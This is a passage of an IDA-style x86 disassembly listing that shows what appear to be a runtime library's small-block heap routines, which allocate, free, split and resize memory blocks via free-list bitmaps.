loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27C0000h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2890000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		call	near ptr 27D0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28F0824h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 27C0000h

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28F0824h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
